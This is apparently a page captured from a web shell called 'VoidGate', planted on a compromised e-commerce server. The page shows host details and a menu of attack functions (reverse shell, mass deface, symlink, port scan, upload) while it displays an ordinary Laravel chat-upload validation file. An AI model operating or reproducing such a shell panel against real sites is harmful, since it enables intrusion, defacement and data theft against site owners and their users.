ヤミRoot VoidGate
User / IP
:
216.73.217.162
Host / Server
:
15.235.182.215 / pollibazaar.com
System
:
Linux asia.cbnex.com 5.14.0-611.49.2.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Apr 30 09:05:08 EDT 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
pollibazaar
/
public_html
/
app
/
Http
/
Requests
/
Web
/
Viewing: ChattingRequest.php
<?php namespace App\Http\Requests\Web; use App\Enums\GlobalConstant; use App\Traits\ResponseHandler; use Illuminate\Foundation\Http\FormRequest; use Illuminate\Http\Exceptions\HttpResponseException; /** * @property string $media */ class ChattingRequest extends FormRequest { use ResponseHandler; protected $stopOnFirstFailure = true; public function authorize(): bool { return true; } public function rules(): array { $uploadMaxFileSize = ini_get('upload_max_filesize'); if (str_contains($uploadMaxFileSize, 'G')) { $uploadMaxFileSize = str_replace('G', '', $uploadMaxFileSize); $uploadMaxFileSize = (int)$uploadMaxFileSize * 1024 * 1024; } elseif (str_contains($uploadMaxFileSize, 'M')) { $uploadMaxFileSize = str_replace('M', '', $uploadMaxFileSize); $uploadMaxFileSize = (int)$uploadMaxFileSize * 1024 * 1024; } $maximumUploadSize = checkServerUploadMaxFileSizeInMB(); return [ 'message' => 'required_without_all:file,media', 'media.*' => 'max:'.$maximumUploadSize.'|mimes:' . str_replace('.', '', implode(',', GlobalConstant::MEDIA_EXTENSION)), 'file.*' => 'file|max:2048|mimes:' . str_replace('.', '', implode(',', GlobalConstant::DOCUMENT_EXTENSION)), ]; } public function messages(): array { $uploadMaxFileSize = ini_get('upload_max_filesize'); if (str_contains($uploadMaxFileSize, 'G')) { $uploadMaxFileSize = str_replace('G', '', $uploadMaxFileSize); $uploadMaxFileSize = (int)$uploadMaxFileSize * 1024 * 1024; } elseif (str_contains($uploadMaxFileSize, 'M')) { $uploadMaxFileSize = str_replace('M', '', $uploadMaxFileSize); $uploadMaxFileSize = (int)$uploadMaxFileSize * 1024 * 1024; } $maximumUploadSize = checkServerUploadMaxFileSizeInMB(); return [ 'required_without_all' => translate('type_something') . '!', 'media.mimes' => translate('the_media_format_is_not_supported') . ' ' . translate('supported_format_are') . ' ' . str_replace('.', '', implode(',', GlobalConstant::MEDIA_EXTENSION)), 'media.max' => translate('media_maximum_size') .' '.($maximumUploadSize / 1024).' MB', 'file.mimes' => translate('the_file_format_is_not_supported') . ' ' . translate('supported_format_are') . ' ' . str_replace('.', '', implode(',', GlobalConstant::DOCUMENT_EXTENSION)), 'file.max' => translate('file_maximum_size_') . MAXIMUM_MEDIA_UPLOAD_SIZE, ]; } /** * Handle a passed validation attempt. */ protected function failedValidation(\Illuminate\Contracts\Validation\Validator $validator) { throw new HttpResponseException(response()->json(['errors' => $this->errorProcessor($validator)])); } }
Coded With 💗 by
0x6ick